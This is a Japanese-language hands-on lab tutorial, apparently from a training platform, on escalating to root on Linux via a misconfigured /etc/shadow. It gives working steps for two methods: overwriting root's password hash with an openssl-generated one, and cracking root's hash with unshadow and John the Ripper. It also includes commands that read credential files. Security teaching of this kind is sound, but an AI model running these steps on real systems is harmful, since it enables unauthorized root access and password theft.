Linux での /etc/shadow ファイルを使用した特権昇格

Beginner

💡 このチュートリアルは英語版からAIによって翻訳されています。原文を確認するには、 ここをクリックしてください

はじめに

Linux システムは、ユーザー認証とアクセス制御に /etc/passwd/etc/shadow ファイルに依存しています。システム管理者がこれらのファイルのパーミッションや内容を誤って設定すると、特権昇格攻撃の機会を生み出す可能性があります。この実験では、Linux システムで /etc/shadow ファイルを利用して root 特権を取得する方法を学びます。このシナリオでは、すでに通常ユーザーとして初期の低特権シェルアクセスを取得していることを前提としています。


Skills Graph

/etc/shadow ファイルを理解する

このステップでは、/etc/shadow ファイルの構造と目的について学びます。

/etc/shadow ファイルは、各ユーザーアカウントの暗号化されたパスワードとパスワード関連の設定情報を格納しています。ファイル内の各行は 1 人のユーザーを表し、コロンで区切られた 9 つのフィールドが含まれています。

  1. ユーザー名
  2. 暗号化されたパスワードハッシュ
  3. パスワードが最後に変更された日からエポック (1970 年 1 月 1 日) までの日数
  4. パスワード変更の間に必要な最小日数
  5. パスワードが有効な最大日数
  6. パスワードの有効期限切れの前にユーザーに警告する日数
  7. パスワードの有効期限切れ後、アカウントが無効になるまでの日数
  8. アカウントが無効になる日からエポック (1970 年 1 月 1 日) までの日数
  9. 将来使用するために予約されたフィールド

ターミナルを開き、/home/labex/project ディレクトリに移動します。

cd /home/labex/project

/etc/shadow ファイル内の labex ユーザーのエントリを確認しましょう。

sudo cat /etc/shadow | grep labex > /home/labex/project/labex_shadow.txt

/etc/shadow ファイルを読み取るために sudo を使用したことに注意してください。これは、このファイルは root ユーザーのみが読み取れるためです。

labex_shadow.txt ファイルの内容を確認します。

cat labex_shadow.txt

出力例:

labex:$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8:19818:0:99999:7:::

この行は以下を示しています。

  • ユーザー名:labex
  • 暗号化されたパスワードハッシュ:$y$j9T$enO.7A1WiUBiOvRdw4gox0$cCOqZqHAQgLkhPb.NDJO9zO6T3EUQ3.AeE0amN57AZ8
  • 最後のパスワード変更:エポック (1970 年 1 月 1 日) から 19818 日
  • 最小パスワード有効期間:0 日 (制限なし)
  • 最大パスワード有効期間:99999 日 (期限なし)
  • パスワード警告期間:有効期限の 7 日前
  • アカウントは期限切れにならない

デフォルトでは、/etc/shadow ファイルは root ユーザーのみが読み取りおよび変更できます。ただし、誤った設定 のパーミッションにより、特権昇格の機会が生じることがあります。

/etc/shadow への書き込みアクセスで特権を昇格させる

このステップでは、/etc/shadow ファイルに書き込みアクセス権がある場合、このファイル内の root パスワードを変更することで特権を昇格させる方法を学びます。

  1. まず、ターミナルを開き、/home/labex/project ディレクトリに移動します。

    cd /home/labex/project

    このディレクトリには env_setup_1.sh という名前のスクリプトがあります。このスクリプトを実行して環境をセットアップします。

    ./env_setup_1.sh

    これにより環境がセットアップされ、user001 ユーザーに切り替わり、初期の低特権シェルアクセスをシミュレートします。

    user001 のホームディレクトリに移動します。

    cd ~
  2. 次に、/etc/shadow ファイルのパーミッションを確認します。

    ls -alh /etc/shadow

    出力例:

    -rw-r----- 1 user001 shadow 1.2K Apr 6 19:16 /etc/shadow

    user001 ユーザーが 誤った設定 のために /etc/shadow ファイルに書き込みアクセス権を持っていることがわかるはずです。

  3. これで、/etc/shadow ファイルを編集し、root ユーザーのパスワードハッシュを新しいものに置き換えることができます。

    まず、現在の root パスワードハッシュを表示します。

    cat /etc/shadow | grep root

    出力例:

    root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::

    新しいパスワード (例:pass123) を設定するには、openssl ユーティリティを使用して新しいパスワードハッシュを生成します。

    openssl passwd -1 -salt ignite pass123

    出力例:

    $1$ignite$3eTbJm98O9Hz.k1NTdNxe1
  4. テキストエディタで /etc/shadow ファイルを開き、root ユーザーのパスワードハッシュを新しいものに置き換えます。

    nano /etc/shadow

    root ユーザーのパスワードハッシュを見つけます。

    root:**$6$5PfZMEbQ$pCjxwZagiIqsrkL4V6r3flOiKQrheDV5eup3zicnvBSKPItaddhUfDAVA5GWAYUHX9LQ5kXzLH8ehoUno2qkE/**:18167:0:99999:7:::

    パスワードハッシュを新しいものに置き換えます。

    root:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:18167:0:99999:7:::

    変更を保存し、エディタを終了します。

  5. 最後に、su root コマンドを使用して root ユーザーに切り替え、プロンプトが表示されたら新しいパスワード pass123 を入力します。

    su root

これで、システム上で root 特権を持つようになります。

/etc/shadow への読み取りアクセスで特権を昇格させる

このステップでは、/etc/shadow ファイルに読み取りアクセス権のみがある場合、root パスワードハッシュをクラックすることで特権を昇格させる方法を学びます。

前のステップの後、あなたは root ユーザーでいるはずです。新しいターミナル を開くか、exit コマンドを使用して現在のユーザーをログアウトし、labex ユーザーになるまで続けます。

  1. labex ユーザーになったら、/home/labex/project ディレクトリに移動します。

    cd /home/labex/project

    env_setup_2.sh スクリプトを実行して環境をセットアップします。

    ./env_setup_2.sh

    これにより、user001 ユーザーが /etc/shadow ファイルに読み取りアクセス権を持つ新しい環境がセットアップされます。

    user001 のホームディレクトリに移動します。

    cd ~
  2. /etc/shadow ファイルのパーミッションを確認します。

    ls -alh /etc/shadow

    出力例:

    -rw-r--r-- 1 root shadow 1.2K Apr 6 19:19 /etc/shadow

    user001 ユーザーが 誤った設定 のために /etc/shadow ファイルに読み取りアクセス権を持っていることがわかるはずです。

  3. 次に、john ツールを使用して root ユーザーのパスワードハッシュをクラックします。john を使用する前に、unshadow コマンドを使用して /etc/passwd/etc/shadow ファイルの内容を結合する必要があります。

    unshadow /etc/passwd /etc/shadow > ~/shadow_crack.txt
  4. これで、shadow_crack.txt ファイルに対して john を実行して root ユーザーのパスワードハッシュをクラックし、クラックされたパスワードをファイルに保存します。

    john --users=root shadow_crack.txt > cracked_passwords.txt

    cracked_passwords.txt ファイルの内容を確認して、クラックされたパスワードを表示します。

    Loaded 1 password hash (md5crypt [MD5 32/64 X2])
    study            (root)
  5. 最後に、su root コマンドを使用して root ユーザーに切り替え、プロンプトが表示されたらクラックされたパスワード study を入力します。

    su root

これで、システム上で root 特権を持つようになります。

まとめ

この実験では、/etc/shadow ファイルの構造と目的について学び、このファイルを利用して特権を昇格させる 2 つの方法を学びました。つまり、書き込みアクセス権を持つ場合は root パスワードハッシュを変更し、読み取りアクセス権を持つ場合は root パスワードハッシュをクラックする方法です。これらの手法は、Linux 環境においてファイルのパーミッションを適切に設定し、機密性の高いシステムファイルを保護することの重要性を示しています。